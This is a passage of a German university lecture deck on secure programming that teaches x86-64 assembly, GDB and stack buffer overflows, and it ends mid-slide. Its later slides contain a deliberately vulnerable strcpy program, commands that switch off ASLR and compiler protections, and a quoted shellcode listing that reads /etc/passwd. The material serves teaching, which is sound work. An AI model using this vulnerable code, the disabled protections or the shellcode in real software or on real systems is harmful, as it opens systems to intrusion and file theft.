Sichere Programmierung - Lerneinheit 2: Buffer Overflows Prof. Dr. Christoph Karg Sommersemester 2019 - Hochschule Aalen

Die Seite wird erstellt Lennard Voigt
 
WEITER LESEN
Sichere Programmierung
Lerneinheit 2: Buffer Overflows

   Prof. Dr. Christoph Karg

       Studiengang Informatik
         Hochschule Aalen

    Sommersemester 2019

                                  17.11.2018
Einleitung

Einleitung

Diese Lerneinheit beschäftigt sich mit Buffer Overflows. Folgende
Themen werden bearbeitet:
 • Linux für die AMD/Intel 64-Bit Architektur
 • Einführung in Assembler
 • Debugging mit GDB
 • Analyse von C Programmen
 • Buffer Overflows
 • Erstellen von Shellcode

 Prof. Dr. C. Karg (HS Aalen)   Sichere Programmierung   Buffer Overflows   2 / 72
64-Bit Linux für x86 Architektur

64-Bit Linux für die x86 Architektur
 • Der Linux Kernel unterstützt seit der Version 2.6 64-Bit
   Prozessoren.
 • Die 64-Bit Prozessorarchitektur wurde von AMD entwickelt
   (AMD64) und von Intel lizenziert.
 • Eigenschaften eines 64-Bit Prozessors:
     ▷ Die Register des Prozessors haben eine Wortlänge von 64
        Bit.
     ▷ Der Prozessor kann Hauptspeicher mit einer Größe von
        maximal 264 Byte adressieren.
 • 64-Bit Prozessoren von AMD und Intel sind abwärtskompatibel
   zu ihren 32- und 16-Bit Vorgängern.
 • Alle gängigen Linux Distributionen gibt es in einer 64-Bit
   Version.
 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung   Buffer Overflows   3 / 72
64-Bit Linux für x86 Architektur   x86-64 Prozessoren

x86-64 Prozessoren

 • x86-64 (x64 oder AMD64) ist die 64-Bit Version des
   Befehlssatzes für x86 Prozessoren.
 • x86-64 ist vollständig abwärtskompatibel zu x86-32 und x86-16.
 • Ein x86-64 Prozessor besitzt eine Vielzahl von Registern, die für
   diverse Aufgaben vorgesehen sind.
 • Bei x86-64 Prozessoren handelt es sich um Complex Instruction
   Set Computer (CISC), die eine Vielzahl von
   Maschinensprachebefehlen beherrschen.
 • Intel stellt für seine Prozessoren und die zugehörige Plattform
   eine umfangreiche Dokumentation bereit [Int17].

 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung             Buffer Overflows   4 / 72
64-Bit Linux für x86 Architektur   x86-64 Prozessoren

Little-Endian Byte Order

 • Intel Prozessoren verwenden zur Darstellung von Zahlen die
   Little-Endian Anordnung der Bytes.
 • Bei Little-Endian steht das niederwertigste Byte einer Zahl am
   Anfang des der Zahl zugeordneten Byteblocks.
 • Beispiel: Die Zahl 305419896 (0x12345678) wird beim
   Datentyp long (4 Byte) wie folgt im Speicher abgelegt:

                                      0x78         0x56         0x34         0x12

 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung                Buffer Overflows   5 / 72
64-Bit Linux für x86 Architektur   x86-64 Prozessoren

Darstellung des Hauptspeichers

   Größste
   Adresse
                                                                                              24
                                                                                              20
                                                                                              16

                                                                                                     Byte Offset
                                                                                              12
                                                                                               8
                                                                                               4
                     Byte 3               Byte 2              Byte 1             Byte 0        0
                31              24 23                16 15                8 7             0     Kleinste
                                                    Bit Offset                                  Adresse

 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung                      Buffer Overflows         6 / 72
64-Bit Linux für x86 Architektur    x86-64 Prozessoren

Fundamentale Datentypen

                                                                         7          0
                                                                                        Byte
                                                                              0
                                                              15        87          0
                                                                High         Low
                                                                Byte         Byte       Word (2 Byte)
                                                                    1         0
                                         31                 16 15                   0
                                               High Word            Low Word            Doubleword (4 Byte)
                                               3        2           1         0
 63                                    32 31                                        0
           High Doubleword                          Low Doubleword                      Quadword (8 Byte)
      7        6         5         4           3        2           1         0

 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung                          Buffer Overflows   7 / 72
64-Bit Linux für x86 Architektur   x86-64 Prozessoren

Register eines x86-64 Prozessors
Register zur Ausführung von Programmen:
 • General-Purpose Register ⇝ Speicherung von Operanden und
     Zeigern
 • Segment Register ⇝ Auswahl von Speichersegmenten
 • EFLAGS Register ⇝ Abfrage des Status des ausgeführten
     Programms und Steuerung des Prozessors
 • EIP Register ⇝ Register zur Speicherung der Adresse des
     nächsten auszuführenden Maschinensprachebefehls
Weitere Register:
 • x87 FPU Register ⇝ Arbeit mit dem arithmetischen Coprozessor
 • MMX und XMM Register ⇝ Register für parallele Verarbeitung
    von Ganz- und Fließkommazahlen
 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung             Buffer Overflows   8 / 72
64-Bit Linux für x86 Architektur   x86-64 Prozessoren

32-Bit General-Purpose Register

 • Im 32-Bit Modus stehen die Register EAX, EBX, ECX, EDX,
   ESI, EDI, EBP und ESP zur Verfügung.
 • Im 64-Bit Modus stehen die Register RAX, RBX, RCX, RDX,
   RSI, RDI, RBP, und RSP sowie R8 bis R15 zur Verfügung.
 • In den Registern werden folgende Informationen gespeichert:
      ▷ Operanden für logische und arithmetische Operationen
      ▷ Operanden für die Berechnung von Speicheradressen
      ▷ Zeiger auf Speicheradressen
 • Die Register kann man mit verschiedenen Wortlängen
   verwenden.

 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung             Buffer Overflows   9 / 72
64-Bit Linux für x86 Architektur   x86-64 Prozessoren

Verwendungszweck der Register

 • EAX ⇝ Akkumulator für Operanden und Ergebnisse von
   Berechnungen
 • EBX ⇝ Zeiger auf Daten im DS Segment
 • ECX ⇝ Zähler für Stringoperationen und Schleifen
 • EDX ⇝ I/O Pointer
 • ESI ⇝ Zeiger auf eine String Source
 • EDI ⇝ Zeiger auf eine String Destination
 • ESP ⇝ Stack Pointer
 • EBP ⇝ Zeiger auf Daten im Stack
(Analog für 64-Bit Register)

 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung             Buffer Overflows   10 / 72
64-Bit Linux für x86 Architektur   System V Application Binary Interface

System V Application Binary Interface
 • Das System V Application Binary Interface (ABI) legt eine UNIX
   Systemschnittstelle für kompilierte Anwendungssoftware fest
   [San97a].
 • Das AMD64 ABI ist eine Spezifikation für den Aufbau von
   Programmen für die AMD64 Architektur [Hub+13].
 • Das AMD64 ABI ist eine Erweiterung/Anpassung des Intel386
   ABI [San97b].
 • Das ABI wurde für die Programmiersprache C erstellt.
 • Es werden unter unterem folgende Punkte standardisiert:
     ▷ Nutzung der Register für Funktionsaufrufe
     ▷ Verwaltung des Stacks
     ▷ Schnittstelle zum Betriebssystem
     ▷ Aufbau der Objektdateien (ELF Format)
     ▷ Aufbau von Systembibliotheken
 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung                         Buffer Overflows   11 / 72
64-Bit Linux für x86 Architektur   System V Application Binary Interface

Linux System Calls
 • Bei einem Intel 64-Bit System nutzt man System-Calls, um auf
   Funktionen des Betriebssystems zuzugreifen.
 • Ein System-Call wird mit dem Maschinenbefehl syscall
   ausgeführt.
 • Die Nummer des auszuführenden System-Calls wird in im
   Register RAX gespeichert.
 • Die Parameter eines System-Calls werden über die Register RDI,
   RSI, RDX, R8, R9 und R10 übergeben.
 • Der Rückgabewert des System-Calls befindet sich im Register
   RAX.
 • Im Linux Kernel sind die System-Calls standardisiert.
 • Unter [Cha16] findet man eine Liste aller Systemfunktionen des
   Linux 64-Bit Kernels.
 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung                         Buffer Overflows   12 / 72
64-Bit Linux für x86 Architektur   Speichermanagement

Speichermanagement

 • Bei modernen Betriebssystemen kommt ein virtuelles
   Speichermanagement zum Einsatz.
 • Jedem Prozess wird ein separater Speicherbereich zugewiesen,
   der aus Sicht des Prozesses aus einem zusammenhängenden
   Block besteht.
 • Die Abbildung auf den physikalischen Speicher übernimmt das
   Betriebssystem.
 • Der Adressraum eines Speicherbereichs wird aufgeteilt in:
     ▷ Text Segment ⇝ Speicherung des Programms
     ▷ Stack Segment ⇝ Speicherung von lokalen Variablen,
        Übergabeparametern und Rücksprungadressen
     ▷ Heap Segment ⇝ Dynamische Speicherverwaltung

 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung             Buffer Overflows   13 / 72
64-Bit Linux für x86 Architektur                Speichermanagement

Speicherlayout
                                                                                              0xffffffff
                          Lokale Variablen,

                                                            Wachstum
                          Übergabeparameter,                              Stack Segment
                          Rücksprungadressen

                                                            Wachstum
              Dynamische Speicherverwaltung                  Read Only     Heap Segment

                                  Programmcode                             Text Segment

                                                                                              0x00000000
 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung                              Buffer Overflows   14 / 72
64-Bit Linux für x86 Architektur   Speichermanagement

Aufbau eines Stack Frames
                                                             8 Byte

                                                      Vorheriger Frame

                                     rbp + 8         Rücksprungadresse
                                         rbp         Alter Wert von rbp
                                     rbp − 8
                                                  Daten verschiedener Art
                                                     (variable Größe)
                                          rsp

                                                            Red Zone
                                  rsp − 128

 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung             Buffer Overflows   15 / 72
64-Bit Linux für x86 Architektur   Speichermanagement

Aufbau eines Stack Frames – Erläuterungen

 • Der Stack wächst von der höchsten Adresse in Richtung der
   niederwertigsten Adresse.
 • Der Stack wird zur Speicherung von Rücksprungadressen,
   Funktionsparametern und lokalen Variablen verwendet.
 • Bei einem Funktionsaufruf wird ein Stack Frame auf den Stack
   gelegt. Beim Beenden der Funktion wird der Frame wieder
   entfernt.
 • Die im RSP Register gespeicherte Höhe des Stacks muss ein
   Vielfaches von 16 sein.
 • Unterhalb des aktuellen Stack Frames befindet sich die Red
   Zone. Dieser Speicherbereich ist für interne Zwecke“ reserviert.
                                       ”
 • Weitere Details findet man in [Hub+13].

 Prof. Dr. C. Karg (HS Aalen)                 Sichere Programmierung             Buffer Overflows   16 / 72
Assemblersprache

Assemblersprache

 • Assembler ist eine maschinennahe Programmiersprache, die
   direkt auf dem Befehlssatz eines Prozessors aufsetzt.
 • Viele Compiler von höheren Programmiersprachen liefern
   Assemblercode als Zwischenprodukt.
 • Bei Intel Prozessoren gibt es zwei Assembler Varianten:
      ▷ AT&T Notation ⇝ Einsatz im GNU Assembler
      ▷ Intel Notation ⇝ Einsatz bei NASM
 • Die AT&T und die Intel Notation unterscheiden sich an diversen
   Stellen. Weitere Details findet man [Nar07].
 • In dieser Lerneinheit wird die Intel Notation verwendet.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   17 / 72
Assemblersprache   Hello World!

Assembler Programm Hello World!“
                  ”
     1   section .data
     2           HelloMsg: db 10,"Hello␣World!" ,10
     3           HelloLen: equ $-HelloMsg
     4
     5   section .text
     6       global _start
     7
     8   _start:
     9       mov           rax ,   1
    10       mov           rdi ,   1
    11       mov           rsi ,   HelloMsg
    12       mov           rdx ,   HelloLen
    13       syscall
    14
    15        mov     rax , 60
    16        mov     rdi , 0
    17        syscall

 Prof. Dr. C. Karg (HS Aalen)             Sichere Programmierung      Buffer Overflows   18 / 72
Assemblersprache   Hello World!

Aufbau des Assembler Programms

 • Ein Assembler Programm besteht aus mehreren Abschnitten
   (Sections/Segmente).
 • Der Abschnitt data enthält statische initialisierte Variablen.
 • Der Abschnitt rodata enthält statische initialisierte Konstanten.
 • Der Abschnitt text enthält das Programm.
 • Der Abschnitt bss enthält statische nicht initialisierte Variablen.
 • Neben den genannten existieren noch weitere Abschnitte.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung      Buffer Overflows   19 / 72
Assemblersprache   Hello World!

Die Data Sektion

 • Die Data Sektion enthält Datenblöcke, die mit den
   vorgegebenen Werten initialisiert werden.
 • Die Data Sektion ist schreibbar, d.h., die Variablen können vom
   Programm geändert werden.
 • Die Daten sind anhand ihres Typs initialisierbar:
     ▷ db ⇝ Folge von Bytes (String)
     ▷ dw ⇝ Folge von Wörtern (mit je 2 Byte)
     ▷ dd ⇝ Folge von Doppel-Wörtern (mit je 4 Byte)
 • Fließkommazahlen werden automatisch in das passende Format
   konvertiert.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung      Buffer Overflows   20 / 72
Assemblersprache   Hello World!

Die Text Sektion

 •    Die Text Sektion enthält das Assemblerprogramm.
 •    Jede Zeile enthält einem Befehl mit zugehörigen Operanden.
 •    Eine Zeile kann mit einer Sprungmarke versehen werden.
 •    Kommentare beginnen mit einem Semikolon (;).
 •    In dieser Lerneinheit wird die Intel Notation verwendet.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung      Buffer Overflows   21 / 72
Assemblersprache   Hello World!

Im Programm benutzte System-Calls
System-Call sys_write:
 • Funktion: Schreiben von Daten in eine Datei.
 • Parameter:
      ▷ RAX: 1 (Nummer des System-Calls)
      ▷ RDI: File Descriptor (1 ⇝ stdout)
      ▷ RSI: Zeiger auf die Daten
      ▷ RDX: Anzahl der zu schreibenden Bytes

System-Call sys_exit:
 • Funktion: Verlassen des Programms.
 • Parameter:
      ▷ RAX: 60 (Nummer des System-Calls)
      ▷ RDI: Rückgabewert (Fehlercode)
 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung      Buffer Overflows   22 / 72
Assemblersprache   Hello World!

Übersetzen des Assembler Programms

Folgende Schritte sind zum Ausführen des Programms notwendig:
 1. Assemblieren (inklusive Debugging Informationen):
       > nasm -f elf64 -F dwarf -g hello64bit.asm

 2. Linken:
       > ld -o hello64bit hello64bit.o

 3. Ausführen:
       > ./ hello64bit

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung      Buffer Overflows   23 / 72
Assemblersprache   Debugging mit GDB

Debugging mit GDB
 • Der GNU Debugger (GDB) ist der Standard-Debugger des GNU
   Projekts.
 • GDB ist ein kommandozeilenorientiertes Werkzeug.
 • GDB wird als Backend in Entwicklungsumgebungen wie z.B.
   Eclipse benutzt.
 • GDB unterstützt das Debugging von höheren
   Programmiersprachen wie C, C++ und Fortran.
 • Um Programme zu debuggen, sollte der entsprechende
   Quellkode mit Debugging Informationen übersetzt werden.
 • Unter [GDB13] findet man umfangreiche Dokumentationen zu
   GDB, insbesondere das GDB Handbuch [SPS10].
 • Das GDB Cheatsheet beinhaltet die wichtigsten GDB Befehle
   [Hai13].
 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung           Buffer Overflows   24 / 72
Analyse von C Programmen

Analyse von C Programmen

 • Die Programmiersprache C ist die bevorzugte Sprache zur
   Entwicklung von systemnahen Linux Anwendungen.
 • Die C Standardbibliothek stellt eine Vielzahl von Funktionen zur
   Arbeit mit dem Betriebssystem zur Verfügung.
 • Mit der GNU Compiler Collection (GCC) stehen leistungsfähige
   Werkzeuge für die Programmierung in C und C++ zur
   Verfügung.
 • GCC ist in jeder Linux Distribution enthalten.
 • Darüber hinaus gibt es zahlreiche Werkzeuge, um C Programme
   und den zugehörigen Binärkode zu analysieren.

 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung   Buffer Overflows   25 / 72
Analyse von C Programmen

Ziel hinter Analyse

Ziel: Analyse der Codeerzeugung des GCC Compilers.
Zu klärende Fragen:
 • Wie ist ein von GCC erzeugtes Programm prinzipiell aufgebaut?
 • Wie werden lokale Variablen verarbeitet?
 • Wie läuft ein Funktionsaufruf ab?
Werkzeuge:
 • GCC
 • GDB
 • Objdump

 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung   Buffer Overflows   26 / 72
Analyse von C Programmen   Hello World

C Programm Hello World!“
          ”

Code: helloworld.c
    1   #include 
    2
    3   int main () {
    4       printf("Hello␣World!");
    5       return 0;
    6   }

Übersetzen (mit Debug Infos):
        $ gcc -g -c helloworld.c
        $ gcc -o helloworld helloworld.o

 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung    Buffer Overflows   27 / 72
Analyse von C Programmen   Hello World

Analyse der Binärdatei
 • Das Werkzeug objdump ist für die Analyse von Binärdateien
   vorgesehen.
 • Aufruf:
            objdump  

 • Nützliche Parameter:
     ▷ -d ⇝ Disassemblieren der ausführbaren Teile der Datei
     ▷ -D ⇝ Disassemblieren der kompletten Datei
     ▷ -M "intel" ⇝ Ausgabe von Assember in der Intel
       Notation
     ▷ -S ⇝ Quellkode mit Assemblerkode kombinieren
     ▷ -s ⇝ Inhalt aller Abschnitte der Datei ausgeben
     ▷ -j  ⇝ Anzeige des Abschnitts section

 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung    Buffer Overflows   28 / 72
Analyse von C Programmen   Hello World

Analyse von helloworld
Befehle:
       $   objdump -s -j .rodata helloworld.o
       $   objdump -d -M "intel" -S helloworld.o
       $   objdump -d -M "intel" -S helloworld
       $   gdb helloworld

Bemerkungen:
 • In der Objektdatei fehlen die korrekten Adressen.
 • Die printf-Funktionen wird durch einen Sprungbefehl betreten,
   der Code wird beim Linken adressiert.
 • Im ausführbaren Programm ist zusätzlicher Code für die
   Nutzung der C-Bibliotheken enthalten.
 • Die Ausführung von main() ist ein Funktionsaufruf, bei dem ein
   Stackframe erzeugt wird.
 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung    Buffer Overflows   29 / 72
Analyse von C Programmen   Kommandozeilenparameter

Übergabe von Kommandozeilenparametern

Code: cmdline.c
    1   #include 
    2
    3   int main( int argc , char *argv [] )                        {
    4
    5         printf("&argc␣=␣%p\n", &argc);
    6         printf("&argv␣=␣%p\n", &argv);
    7
    8       if( argc == 2 ) {
    9          printf("argv [1]␣=␣%s\n", argv [1]);
   10       }
   11       else {
   12          printf("Bitte␣ein␣Argument␣übergeben .\n");
   13       }
   14   }

 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung                Buffer Overflows   30 / 72
Analyse von C Programmen   Kommandozeilenparameter

Analyse von cmdline
Befehle:
       $   objdump -s -j .rodata cmdline.o
       $   objdump -d -M "intel" -S cmdline.o
       $   objdump -d -M "intel" -S cmdline
       $   gdb cmdline

Bemerkungen:
 • Die Kommandozeilenparameter werden als ein Array von Strings
   übergeben.
 • Die Daten befinden sich unten im Stack, unterhalb des ersten
   Stack Frames.
 • Die Formatierungsstrings des Befehls printf befinden sich im
   .rodata Segment.

 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung                Buffer Overflows   31 / 72
Analyse von C Programmen   Lokale Variablen

Lokale Variablen

Code: calc.c
    1   #include 
    2
    3   int main () {
    4       long a=4;
    5       long b=9;
    6       long c = 17*a + ((13-b)/2 * (5+a));
    7
    8         printf("a␣=␣%ld ,␣b␣=␣%ld ,␣c␣=␣%ld\n", a, b, c);
    9         return 0;
   10   }

 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung         Buffer Overflows   32 / 72
Analyse von C Programmen   Lokale Variablen

Analyse von calc

Befehle:
       $   objdump -s -j .rodata calc.o
       $   objdump -d -M "intel" -S calc.o
       $   objdump -d -M "intel" -S calc
       $   gdb calc

Bemerkungen:
 • Die lokalen Variablen werden im aktuellen Stack Frame
   gespeichert.
 • Der Compiler optimiert den arithmetischen Ausdruck.

 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung         Buffer Overflows   33 / 72
Analyse von C Programmen   Funktionsaufrufe

Funktionsaufrufe
Code: functioncall.c
    1   #include 
    2
    3   int f(int       a, int b, int c, int d,
    4         int       e, int f, int g, int h)
    5   {
    6       int x       = a + b + c + d;
    7       int y       = e + f + g + h;
    8
    9         return x+y;
   10   }
   11
   12   int main () {
   13       int z = f(1,2,3,4,5,6,7,8);
   14
   15         printf("z␣=␣%u\n", z);
   16         return 0;
   17   }

 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung         Buffer Overflows   34 / 72
Analyse von C Programmen   Funktionsaufrufe

Analyse von functioncall

Befehle:
       >   objdump -s -j .rodata functioncall.o
       >   objdump -d -M "intel" -S functioncall.o
       >   objdump -d -M "intel" -S functioncall
       >   gdb functioncall

Bemerkungen:
 • Die ersten sechs Parameter der Funktion werden über die
   Register übergeben.
 • Alle weiteren Parameter werden über den Stack übergeben.
 • Das Ergebnis des Funktionsaufrufs wird über das RAX Register
   zurückgegeben.

 Prof. Dr. C. Karg (HS Aalen)                  Sichere Programmierung         Buffer Overflows   35 / 72
Buffer Overflows

Buffer Overflows

Ziel: Einschleusen und Ausführen von Schadcode über ein
kompiliertes C-Programm.
Beobachtung:
 • Wird ein C-Programm ausgeführt, dann befindet sich zu jedem
    Zeitpunkt der Ausführung mindestens ein Stack Frame auf dem
    Stack.
 • Die in einem Stack Frame gespeicherte Rücksprungadresse
    befindet sich im Hauptspeicher hinter den lokalen Variablen.
Ansatz: Ausführen eines Buffer Overflows, d.h., Überschreiben der
Rücksprungadresse durch Schreiben einer zu großen Datenmenge in
eine lokale String Variable.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   36 / 72
Buffer Overflows

Herangehensweise

 1. Entwicklung eines geeigneten C-Programms
 2. Deaktivierung der Sicherheitseinstellungen in Linux
 3. Entwicklung eines einfachen Schadkodes

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   37 / 72
Buffer Overflows   Entwicklung eines passenden C-Programms

Entwicklung eines passenden C-Programms

Vorgaben:
 • Das Programm muss eine lokale String Variable besitzen.
 • Das Programm muss eine Eingabe des Benutzers in die lokale
    Variable kopieren.
 • Die Eingabe des Nutzers wird über die Kommandozeile
    übergeben.
Umsetzung: ⇝ hackme.c (siehe nächste Folie)

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung                      Buffer Overflows   38 / 72
Buffer Overflows   Entwicklung eines passenden C-Programms

Programm hackme.c
Code: hackme.c
    1   #include 
    2   #include 
    3
    4   void print(char* s) {
    5       char buffer [200];
    6
    7         strcpy(buffer , s);
    8         printf("Anfang␣von␣buffer:␣%p\n", buffer);
    9         printf("Inhalt␣von␣buffer:␣%s\n", buffer);
   10   }
   11
   12   int main(int argc , char ** argv) {
   13       if (argc == 2) {
   14           print(argv [1]);
   15       } else {
   16           printf("Bitte␣ein␣Argument␣übergeben .\n");
   17       }
   18           return 0;
   19   }

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung                      Buffer Overflows   39 / 72
Buffer Overflows   Entwicklung eines passenden C-Programms

Programm hackme.c (Forts.)

Übersetzen:
       > gcc -g -o hackme hackme.c

Bemerkungen:
 • Bei der Nutzung der strcpy Funktion wird nicht überprüft, ob
   die zu kopierenden Daten in den Buffer passen.
 • Idee: Kopiere mehr Daten als der Buffer aufnehmen kann und
   analysiere die Auswirkungen.
 • Die zu kopierenden Daten werden mit einem Python Skript
   erzeugt.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung                      Buffer Overflows   40 / 72
Buffer Overflows   Entwicklung eines passenden C-Programms

Idee hinter dem Buffer Overflow

 • Beim Aufruf der Funktion print() wird ein neuer Stack Frame
   angelegt.
 • Im Stack Frame befindet sich der Speicher der lokalen Variable
   buffer unterhalb der Rücksprungadresse (siehe nächste Folie).
 • Vor Ausführung des strcpy Befehls wird nicht überprüft, ob der
   zu kopierende String s eine Länge von höchstens 200 Byte hat.
 • Durch einen zu langen String kann man die Rücksprungadresse
   überschreiben.
 • Enthält dieser String ausführbaren Code und wird die
   Rücksprungadresse passend überschrieben, dann wird dieser
   Code ausgeführt (siehe übernächste Folie).

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung                      Buffer Overflows   41 / 72
Buffer Overflows     Entwicklung eines passenden C-Programms

Idee hinter dem Buffer Overflow (Forts.)
                                                         8 Byte

                                  rbp + 8      Rücksprungadresse
                                      rbp      Alter Wert von rbp

                                                                             Stack Frame nach Aufruf von print()
                                  rbp − 8

                                                        buffer

                                 &buffer

                                     rsp

                                                     Red Zone
                                rsp − 128

 Prof. Dr. C. Karg (HS Aalen)               Sichere Programmierung                                                 Buffer Overflows   42 / 72
Buffer Overflows     Entwicklung eines passenden C-Programms

Idee hinter dem Buffer Overflow (Forts.)
                                                         8 Byte

                                  rbp + 8      Rücksprungadresse
                                                     &buffer
                                      rbp      Alter Wert von rbp

                                                                             Stack Frame nach Aufruf von print()
                                  rbp − 8

                                                    Shellcode
                                            (mit passendem Padding)

                                                        buffer

                                 &buffer

                                     rsp

                                                     Red Zone
                                rsp − 128

 Prof. Dr. C. Karg (HS Aalen)               Sichere Programmierung                                                 Buffer Overflows   43 / 72
Buffer Overflows   Entwicklung eines passenden C-Programms

Skript printA.py

Code: printA.py
       #! /usr/bin/env python2

       import sys

       default_size =200

       if len(sys.argv)==2:
           size=int(sys.argv [1])
           if (size
Buffer Overflows   Entwicklung eines passenden C-Programms

Ausführen des Skripts
Benutzung des Skripts:
       > hackme `printA.py 200`

Alternativ:
       > hackme $(printA.py 200)

Beobachtung:
 • Die Adresse von buffer ändert sich mit jedem Aufruf.
 • Dies ist ein Indiz, dass im Linux Kernel Address Space Layout
    Randomization (ASLR) aktiviert ist.
 • ASLR ist eine Schutzfunktion gegen Exploits wie z.B. Buffer
    Overflows.
 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung                      Buffer Overflows   45 / 72
Buffer Overflows   Deaktivieren von Sicherheitsmechanismen

ASLR deaktivieren

 • Der aktuelle Zustand der ASLR Konfiguration kann über die Datei
            /proc/sys/kernel/randomize_va_space
   ausgelesen und geändert werden.
 • Arten der Randomisierung:
     ▷ 0 ⇝ ASLR deaktiviert
     ▷ 1 ⇝ Moderate Randomisierung
     ▷ 2 ⇝ Komplette Randomisierung
 • Befehl zum Deaktivieren von ASLR:
       root > echo "0" > /proc/sys/kernel/ randomize_va_space

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung                       Buffer Overflows   46 / 72
Buffer Overflows   Deaktivieren von Sicherheitsmechanismen

Abschalten weiterer Sicherheitsmechanismen

 • Der GCC Compiler baut diverse Sicherheitsfunktionen in das
   ausführbare Programm ein.
 • Beispiele:
     ▷ Der Stack Protector erkennt Stack Smashing Attacken und
        bricht das Programm ab.
     ▷ Es wird die Ausführung von Code verhindert, der sich im
        Stack Segment befindet.
 • Diese Sicherheitsfunktionen lassen sich zur Compiler-Optionen
   deaktivieren.
      Befehl:
       > gcc -g -fno -stack -protector -z execstack -o hackme hackme.c

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung                       Buffer Overflows   47 / 72
Buffer Overflows   Shellcode

Entwicklung des Shellcode

 • Ein Shellcode ist ein kleines Assembler Code Fragment.
 • Ursprünglich wurde Shellcode verwendet, um eine Shell mit Root
   Zugriff zu starten.
 • Ein Shellcode darf keine Null Bytes enthalten, da er als String
   übertragen wird.
 • Da ein Shellcode über Umwege“ ausgeführt wird, müssen die
                     ”
   Daten geschickt bereitgestellt werden.
 • Eine der ersten Anleitungen zur Erstellung von Shellcodes
   stammt von AlephOne [One96].
 • Dieser Teil der Vorlesung basiert auf der Anleitung von
   Mr. Un1k0d3r [Un114].

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   48 / 72
Buffer Overflows   Shellcode

Aufbau des Shellcodes

     1   BITS 64
     2   ; Author Mr. Un1k0d3r - RingZer0 Team
     3   ; Read /etc/passwd Linux x86_64 Shellcode
     4   ; Shellcode size 82 bytes
     5
     6   global _start
     7
     8   section .text
     9
    10   _start:
    11               jmp _push_filename
    12
    13   _readfile:
    14           ; syscall open file
    15           pop rdi ; pop path value
    16           ; NULL byte fix
    17           xor byte [rdi + 11], 0x41

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   49 / 72
Buffer Overflows   Shellcode

Aufbau des Shellcodes (Forts.)

    19               xor rax ,rax
    20               add al ,2
    21               xor rsi ,rsi ; set 0_RDONLY flag
    22               syscall
    23
    24               ; syscall read file
    25               sub sp ,0 xfff
    26               lea rsi ,[rsp]
    27               mov rdi ,rax
    28               xor rdx ,rdx
    29               mov dx ,0 xfff ; size to read
    30               xor rax ,rax
    31               syscall

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   50 / 72
Buffer Overflows   Shellcode

Aufbau des Shellcodes (Forts.)

    33               ; syscall write to stdout
    34               xor rdi ,rdi
    35               add dil ,1   ; set stdout fd = 1
    36               mov rdx ,rax
    37               xor rax ,rax
    38               add al ,1
    39               syscall
    40
    41               ; syscall exit
    42               xor rax ,rax
    43               add al ,60
    44               syscall
    45
    46   _push_filename:
    47           call _readfile
    48           path: db "/etc/passwdA"

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   51 / 72
Buffer Overflows   Shellcode

Analyse des Shellcodes

 • Der Shellcode gibt den Inhalt der Datei /etc/password aus.
 • Der Code teilt sich in fünf Teile auf:
    1. Berechnung der Adresse, ab der der Dateiname gespeichert
       ist (Zeilen 10–11, 46–48, 11)
    2. Öffnen der Datei (Zeilen 14–22)
    3. Auslesen der Datei (Zeilen 25–31)
    4. Ausgabe der Datei (Zeilen 33–39)
    5. Beenden des Programms (Zeilen 41–44)
 • Es kommen mehrere System Calls zum Einsatz.
 • Die Adresse des Datenblocks wird über den Stack
   (Rücksprungadresse) ermittelt.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   52 / 72
Buffer Overflows   Shellcode

Übersetzen des Shellcodes (Variante 1)

 1. Assemblierung des Shellcodes:
       > nasm -f elf64 un1k0d3r -shellcode.asm -o un1k0d3r -shellcode.o

 2. Extrahieren des Shellcodes und Ausgabe als String:
       > for i in $(objdump -d un1k0d3r -shellcode.o \
         | grep "^␣" | cut -f2); do \
         echo -n '\x'$i; done; echo

      Hinweis: Nach dem Backslash muss  eingegeben
      werden. Alternativ kann man den kompletten Befehl auch in eine
      Zeile schreiben.

 Prof. Dr. C. Karg (HS Aalen)         Sichere Programmierung   Buffer Overflows   53 / 72
Buffer Overflows   Shellcode

Übersetzen des Shellcodes (Variante 2)

 1. Assemblierung des Shellcodes:
